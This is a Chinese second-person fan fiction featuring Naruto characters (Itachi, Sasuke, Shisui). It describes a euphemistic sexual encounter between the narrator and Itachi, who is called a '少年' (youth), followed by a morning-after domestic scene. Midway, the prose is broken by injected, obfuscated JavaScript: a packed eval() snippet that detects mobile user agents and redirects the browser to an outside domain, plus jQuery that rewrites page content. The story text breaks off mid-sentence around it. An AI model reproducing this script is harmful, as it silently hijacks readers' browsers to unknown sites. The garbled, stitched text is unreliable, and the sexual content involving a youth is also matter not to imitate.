他进门的时候屋外隐约下起朦胧细雨,不是雨珠而是一缕一缕细密的雨丝,没什么太大的动静,更像是让人放松下来的白噪音,你说自己还有几页书,先等你看完吧。
你知道自己这样很不解风情,但你不喜欢做事情做到一半被打断的感觉,所以只能让他暂时等一会了。
你说看书那就是正儿八经地低头认真看书,反正也就只剩下几页了,看到最后一页的时候鼬就像是算准了你看完的时机,从你身后将你拥入怀,从你手里接过那本书合上放在床头,然后你的耳边又响起他的声音,“别看书了,看我。”
不知道为什么,后来的你已经忘了自己是出于什么心情才轻笑出声的,总之,你就是笑了,你转过身,直视他的双眼,他们说不要直视宇智波的双眼,因为写轮眼实在是太可怕了,但你不这么觉得,你曾经捧着鼬的脸,对他说,给我看看你的一勾玉,然后再是二勾玉,这行为就像是把黑猫从阳光下和室内抱来抱去以此观察猫瞳的变大变小。
“好吧,那你现在有什么头绪吗?”你说,刚才鼬把书放到床头柜的时候顺手把床头灯给关了,现在屋内唯一的光源就是外头的月光,你的脸庞隐没在那片朦胧暧昧的阴影里,他看得很清楚,你眉眼间的狡黠。
“我学过的。”他说得很认真,要是你追问下去的话他还能说出自己的阅读书目,他是个好学生,知道提前学习。
你叹息一声,“学过和做过是不一样的,算了,我教你吧。”
“先是亲吻。”你说着,指腹摩挲他的嘴唇,少年的唇形很漂亮。
你的亲吻轻柔得如同羽毛,那么轻飘飘,却又在他的心间荡开一圈又一圈的涟漪。
学习什么东西都是循序渐进的,你低垂眼帘,文学作品里总说闭上眼睛才显示出吻的虔诚,但你不信这些,你是说,如果闭上眼睛你又该如何捕捉到对方轻颤的眼睫呢?
错过这些未免也太可惜了一些,因此你看得很仔细,那吻也很仔细,先前你也说过了,他是个好学生,一点就通,也会举一反三,所以当他的手臂环绕着你的腰腹一点一点地学着你的动作时你也不奇怪。
呼吸、稍微变得有些紊乱了。
以额头抵着额头的形式让这绵长的亲吻落下帷幕。
嘴唇又被轻咬了一下,好吧,没有完全落下帷幕,还多加了一幕。
但这都只是正剧开始前的铺垫,你是引导者,牵引着他的手指划过地图。
“这是要点。”带着他的手指停在某处,心说自己真像个老师在划重点。
少年微微俯身,他说:“我知道,我在书上读到过。”
读到过和真的实践起来又是不一样的,他有些苦恼于自己的指腹上残留着修炼留下的茧子,会很粗糙的吧?
他考虑得那么细致,甚至无师自通地用那总是说些云里雾里话语的口舌代劳,他低垂的后颈压出一条纤细优美的线条,你的手指穿过他的长发。
窗外的雨势一点一点地加深,就如同少年的动作。
最后就是雨珠拍打在窗户上,那半透明的玻璃线条绷直。
莹莹月光下的小腹也绷直线条。
雨珠在窗户上滑落,在屋内的少年也像是淋了雨,水珠顺着眼睫抖落。
他尝过雨珠的味道,但却是第一次知道水珠的味道。
他低垂眉眼,认真仔细地舐去手指上的水珠,有点像是黑猫在舔爪子。
握住他的手腕,与他十指相扣,掌心贴着掌心,这次换成你居高临下地俯视他。
合格的忍者就是哪怕到这种时候都能忍耐着,唉,你俯身在他耳边说:“没关系的,你现在的声音很好听,我很喜欢。”
在此之前你都没说过你喜欢他的声音,你甚至还当着他的面夸奖过止水的声音很有磁性,你就是故意地,宁愿夸奖别人也不愿意给他一句夸奖。
然后又偏偏在这时候才说喜欢,他就知道,你是个性格非常恶劣的家伙,但他却……还是按照你说的,用带着些许鼻音的声音说:“只是现在吗?”
你伏倒身体,笑得身形微微颤抖,“干嘛那么斤斤计较啊?”
真担心你撞到床头柜,直到此时他还在操心,扶着你的腰。
他的嗓子有点痒,是那些你喜欢听的声音积攒起来产生的副作用。
你敏锐地察觉到了这一点,捏着他的下巴,不成曲调的声音从唇齿间倾泻而出。
恶劣的,坏心眼的,同时也是无法割舍的,他的恋人。
*
两个长发的人凑在一块,而且还是挤在一块,一觉醒来的后果就是头发缠在一块,你郁闷地让鼬给你解开头发,自己在旁边哈欠连连。
“你没有睡好吗?”他问,有点奇怪,根据他看的书一般在那之后的女性睡眠质量应该会得到提升的,是他哪里做得不对吗?
“嗯,因为你一直缠着我。”你动了一下脑袋,头发被扯了一下,你倒吸一口凉气,“嘶,我说的不仅仅是头发。”
鼬浅笑着解开你们纠缠着的所有头发,额头贴着你的额头,动作亲昵,“抱歉,下次不会了。”
好吧,你也得承认他确实具有良好的服务意识,你昨天也享受到了上乘的服务,所以就连起床气也没有那么严重。
温存的气氛被佐助的敲门打断,他说:“明希,早餐已经准备好了,快点起床啦。”
你起身去浴室洗漱,鼬将床单还有被套以及枕套都拆下来,装在你浴室的脏衣篓里,走之前还问你有什么别的要洗的吗?
在刷牙的你摇摇头,他这才提着脏衣篓走出你的房间,带着脏衣服走到洗衣房,途中还遇到了佐助,后者说:“哥哥可以吃早餐了。”说完这话,他走出几步后又倒退回来,折返回到哥哥鼬身边,看了一眼他的脏衣篓,问:“这不是明希的脏衣篓吗?她现在就连脏衣服都要哥哥你来洗了吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539830|186605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这话带着几分郁闷,也不知道在生谁的气,是在生气你们已经亲近到这种程度了吗?
但是、如果是家人的话,帮你做这些事情好像也能说得过去,佐助纠结地皱起眉,鼬把脏衣篓放在洗衣房,又对佐助说:“佐助你先去吃早餐吧,我待会过来。”
“啊、嗯……”佐助应了一声。
洗漱过后的你已经先到了餐厅,手里端着温热的蜂蜜水喝了一口,见到佐助来了就对他笑着点点头。
直觉告诉他你哪里好像怪怪的,但是一时半会又说不出到底是哪里有些奇怪,他在你对面坐下,吃早餐的时候还在暗中观察你,你喝了半杯蜂蜜水,这时候他的哥哥鼬也来到餐厅,你都没和他打招呼,你和他哥哥的关系好像还是和以前一样平淡,算不上多好,这莫名让佐助稍微放下心来。
你吃掉一块烤吐司就端着餐盘走到厨房洗盘子,佐助瞥见他的哥哥很自然地端起你喝过的那半杯的蜂蜜水抿了一口,他的眼神扫了过来,疑惑地问:“怎么了?”
佐助说:“那是明希的蜂蜜水。”
“对她来说太甜了。”他只是这么说了一句,然后喝完剩下的蜂蜜水。
好奇怪……真是越来越奇怪了。
佐助硬着头皮吃完早餐,然后又在午后去找你玩花牌,但他知道玩花牌只是个幌子而已,他最主要的目的只是想见你。
“玩花牌?”坐在窗边看画册的你回过头,几缕黑色长发从你的肩头滑到胸前,你逆着光,侧影的轮廓都在微微发光,佐助拿着那一副花牌,走到矮桌边,往上面一放,等他再次抬头时捕捉到你后颈一闪而过的印记,红彤彤的,在黑色长发的遮掩下若隐若现,他说:“你的脖子那里怎么了?”
“什么?”
“那里——好像红了,是受伤了吗?磕到了?”佐助比你还要关心那道伤口,也许这就是了解你今天为什么那么古怪的切入点,他走到你身后,你把头发拨到一边,露出后颈,白皙的后颈点缀着几道浅红色的印子。
他说:“我去取药膏来。”
你想说没必要的,反正你已经猜到这印子是从哪里来的,但佐助没听见你这话,就这么风风火火地出门去找来药膏。
旋开药膏,用小拇指沾取一点药膏,然后涂抹在那一块皮肤上,他说:“是被蚊子咬的吗?”
你心不在焉地回答:“啊……是被咬的。”
省略了主语,这番话显得模棱两可又朦胧暧昧。
而鼬呢,今天的止水遇到他的时候肉眼可见他的喜悦,身为鼬的好友他也问道:“是发生了什么好事吗?”
鼬思考片刻,然后没头没尾地来了一句,“明希夸我的声音好听。”
“就只是这样吗?”止水茫然地问,他虽然知道鼬确实喜欢你,但也不至于因为你的一句夸奖而高兴成这样吧?
“是啊,就只是这样。”鼬说,笑了一下,“她说我的声音比你的好听。”